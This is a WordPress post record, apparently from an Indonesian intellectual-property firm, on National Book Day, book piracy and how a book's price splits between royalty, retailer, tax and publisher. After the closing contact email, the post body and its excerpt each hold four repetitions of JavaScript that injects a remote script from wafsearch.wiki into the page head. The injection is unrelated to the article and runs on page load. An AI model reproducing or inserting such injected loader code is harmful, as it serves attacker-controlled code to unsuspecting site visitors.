{"id":6008,"date":"2025-05-17T08:19:29","date_gmt":"2025-05-17T08:19:29","guid":{"rendered":"https:\/\/affa.co.id\/?p=5626"},"modified":"2025-05-17T08:19:29","modified_gmt":"2025-05-17T08:19:29","slug":"hari-buku-nasional-dilema-royalti-10-melawan-pembajakan-menopang-ekosistem-kreatif-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/05\/17\/hari-buku-nasional-dilema-royalti-10-melawan-pembajakan-menopang-ekosistem-kreatif-indonesia\/","title":{"rendered":"[HARI BUKU NASIONAL] Dilema Royalti 10% Melawan Pembajakan &amp; Menopang Ekosistem Kreatif Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Hari Buku Nasional 17 Mei 2025 adalah momentum penting untuk kembali menyadari betapa berharganya sebuah buku, bukan hanya sebagai sumber ilmu, tetapi juga sebagai hasil karya intelektual yang mendukung jutaan pekerja di industri kreatif Indonesia. Sayangnya, masih banyak orang yang tergoda membeli buku bajakan tanpa menyadari dampaknya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Hari Buku Nasional Diperingati Setiap 17 Mei?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Hari Buku Nasional pertama kali dicanangkan pada 17 Mei 2002 oleh Menteri Pendidikan saat itu,<\/span><b> Abdul Malik Fadjar<\/b><span style=\"font-weight: 400\">, dengan tujuan meningkatkan minat baca masyarakat Indonesia dan mendorong tumbuhnya budaya literasi. Tanggal ini dipilih karena bertepatan dengan hari berdirinya <\/span><b>Perpustakaan Nasional Republik Indonesia (Perpusnas)<\/b><span style=\"font-weight: 400\">, yaitu pada 17 Mei 1980.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan adanya peringatan ini, diharapkan publik lebih peduli terhadap pentingnya buku dalam pembangunan bangsa, baik sebagai sarana edukasi maupun sebagai produk budaya yang harus dihargai.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Berapa Persen yang Hilang dari Aktivitas Pembajakan Buku?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Menghargai buku, berarti kita menghargai pula kerja kerasa para penulis dan penerbit. Makanya mereka akan menjadi pihak yang dirugikan dari setiap praktek pembajakan buku. Komponen apa lagi yang membentuk harga jual sebuah buku? Berikut ini gambaran pembagiannya dari sebuah buku asli seharga Rp100.000:<\/span><\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Komponen<\/b><\/td>\n<td><b>Persentase<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Toko Buku<\/span><\/td>\n<td><span style=\"font-weight: 400\">40%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Biaya Produksi<\/span><\/td>\n<td><span style=\"font-weight: 400\">20%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Pajak Pertambahan Nilai<\/span><\/td>\n<td><span style=\"font-weight: 400\">15%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Biaya Distribusi<\/span><\/td>\n<td><span style=\"font-weight: 400\">10%<\/span><\/td>\n<\/tr>\n<tr>\n<td><strong>Royalti Penulis<\/strong><\/td>\n<td><strong>10%<\/strong><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Keuntungan Penerbit<\/span><\/td>\n<td><span style=\"font-weight: 400\">5%<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Yang berarti, penulis hanya menerima sekitar Rp10.000 per buku yang terjual. Sementara pembajak hanya menanggung ongkos produksi (20%) dan tidak memberikan bagian apa pun kepada penulis maupun penerbit. Memprihatinkan bukan? Apalagi belakangan juga marak praktek penjualan buku \u201cdigital\u201d ilegal di <\/span><i><span style=\"font-weight: 400\">platform e-commerce<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Harus Beli Buku Asli?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena dengan membeli buku asli dapat memberikan sejumlah manfaat positif\u2026<\/span><\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Dampak Positif Beli Buku Asli<\/b><\/td>\n<td><b>Dampak Negatif Beli Buku Bajakan<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Penulis mendapat royalti yang layak untuk terus berkarya.<\/span><\/td>\n<td><span style=\"font-weight: 400\">Penulis tidak mendapat penghargaan maupun penghasilan.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Penerbit, editor, dan desainer buku tetap bisa bekerja dan berkembang.<\/span><\/td>\n<td><span style=\"font-weight: 400\">Rantai industri buku melemah dan penerbit ragu menerbitkan karya baru.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Kualitas cetak dan isi buku lebih baik dan bisa dipertanggungjawabkan.<\/span><\/td>\n<td><span style=\"font-weight: 400\">Buku bajakan sering mengandung kesalahan cetak dan isi yang tidak akurat.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Membantu pertumbuhan industri kreatif nasional.<\/span><\/td>\n<td><span style=\"font-weight: 400\">Mematikan inovasi dan semangat pelaku industri kreatif.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Meningkatkan literasi dengan pilihan bacaan berkualitas.<\/span><\/td>\n<td><span style=\"font-weight: 400\">Menurunkan mutu pendidikan dan bacaan publik.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Buku adalah hasil jerih payah banyak pihak, bukan hanya penulis. Setiap lembar yang Anda baca mencerminkan kerja keras editor, desainer, distributor, hingga penjual buku. Di Hari Buku Nasional ini, mari kita berkomitmen untuk tidak membeli buku bajakan, tidak menggandakan buku tanpa izin, dan tidak menyebarluaskan<\/span><i><span style=\"font-weight: 400\"> e-book<\/span><\/i><span style=\"font-weight: 400\"> ilegal. Lebih dari itu, kita juga dapat melaporkan jika menemukan praktek penjualan buku bajakan untuk ekosistem Kekayaan Intelektual yang lebih baik di Indonesia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><b><i><br \/>\n<\/i><\/b><a href=\"https:\/\/affa.co.id\/bhs\/prosedur-pelaporan-barang-bajakan-di-ecommerce-indonesia\/\"><b><i>Prosedur Pelaporan Barang Bajakan di Ecommerce Indonesia<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan buku di Indonesia, jangan ragu untuk menghubungi kami melalui email <\/b><a href=\"mailto:emirsyah.dinar@affa.co.id\"><b>emirsyah.dinar@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hari Buku Nasional 17 Mei 2025 adalah momentum penting untuk kembali menyadari betapa berharganya sebuah buku, bukan hanya sebagai sumber ilmu, tetapi juga sebagai hasil karya intelektual yang mendukung jutaan pekerja di industri kreatif Indonesia. Sayangnya, masih banyak orang yang tergoda membeli buku bajakan tanpa menyadari dampaknya. &nbsp; Mengapa Hari Buku Nasional Diperingati Setiap 17 Mei? &nbsp; Hari Buku Nasional pertama kali dicanangkan pada 17 Mei 2002 oleh Menteri Pendidikan saat itu, Abdul Malik Fadjar, dengan tujuan meningkatkan minat baca masyarakat Indonesia dan mendorong tumbuhnya budaya literasi. Tanggal ini dipilih karena bertepatan dengan hari berdirinya Perpustakaan Nasional Republik Indonesia (Perpusnas), yaitu pada 17 Mei 1980. &nbsp; Dengan adanya peringatan ini, diharapkan publik lebih peduli terhadap pentingnya buku dalam pembangunan bangsa, baik sebagai sarana edukasi maupun sebagai produk budaya yang harus dihargai. &nbsp; Berapa Persen yang Hilang dari Aktivitas Pembajakan Buku? &nbsp; Menghargai buku, berarti kita menghargai pula kerja kerasa para penulis dan penerbit. Makanya mereka akan menjadi pihak yang dirugikan dari setiap praktek pembajakan buku. Komponen apa lagi yang membentuk harga jual sebuah buku? Berikut ini gambaran pembagiannya dari sebuah buku asli seharga Rp100.000: &nbsp; Komponen Persentase Toko Buku 40% Biaya Produksi 20% Pajak Pertambahan Nilai 15% Biaya Distribusi 10% Royalti Penulis 10% Keuntungan Penerbit 5% &nbsp; Yang berarti, penulis hanya menerima sekitar Rp10.000 per buku yang terjual. Sementara pembajak hanya menanggung ongkos produksi (20%) dan tidak memberikan bagian apa pun kepada penulis maupun penerbit. Memprihatinkan bukan? Apalagi belakangan juga marak praktek penjualan buku \u201cdigital\u201d ilegal di platform e-commerce. &nbsp; Mengapa Harus Beli Buku Asli? &nbsp; Karena dengan membeli buku asli dapat memberikan sejumlah manfaat positif\u2026 &nbsp; Dampak Positif Beli Buku Asli Dampak Negatif Beli Buku Bajakan Penulis mendapat royalti yang layak untuk terus berkarya. Penulis tidak mendapat penghargaan maupun penghasilan. Penerbit, editor, dan desainer buku tetap bisa bekerja dan berkembang. Rantai industri buku melemah dan penerbit ragu menerbitkan karya baru. Kualitas cetak dan isi buku lebih baik dan bisa dipertanggungjawabkan. Buku bajakan sering mengandung kesalahan cetak dan isi yang tidak akurat. Membantu pertumbuhan industri kreatif nasional. Mematikan inovasi dan semangat pelaku industri kreatif. Meningkatkan literasi dengan pilihan bacaan berkualitas. Menurunkan mutu pendidikan dan bacaan publik. &nbsp; Buku adalah hasil jerih payah banyak pihak, bukan hanya penulis. Setiap lembar yang Anda baca mencerminkan kerja keras editor, desainer, distributor, hingga penjual buku. Di Hari Buku Nasional ini, mari kita berkomitmen untuk tidak membeli buku bajakan, tidak menggandakan buku tanpa izin, dan tidak menyebarluaskan e-book ilegal. Lebih dari itu, kita juga dapat melaporkan jika menemukan praktek penjualan buku bajakan untuk ekosistem Kekayaan Intelektual yang lebih baik di Indonesia. &nbsp; Baca juga: Prosedur Pelaporan Barang Bajakan di Ecommerce Indonesia Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan buku di Indonesia, jangan ragu untuk menghubungi kami melalui email emirsyah.dinar@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6014,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,377],"tags":[309,310,314,317,321,333,335,464,569,570,305,306,307,308],"class_list":["post-6008","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-copyright","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-indonesia","tag-copyright","tag-hak-cipta","tag-pembajakan","tag-hari-buku","tag-nasional","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6008","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6008"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6008\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6014"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6008"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6008"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6008"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}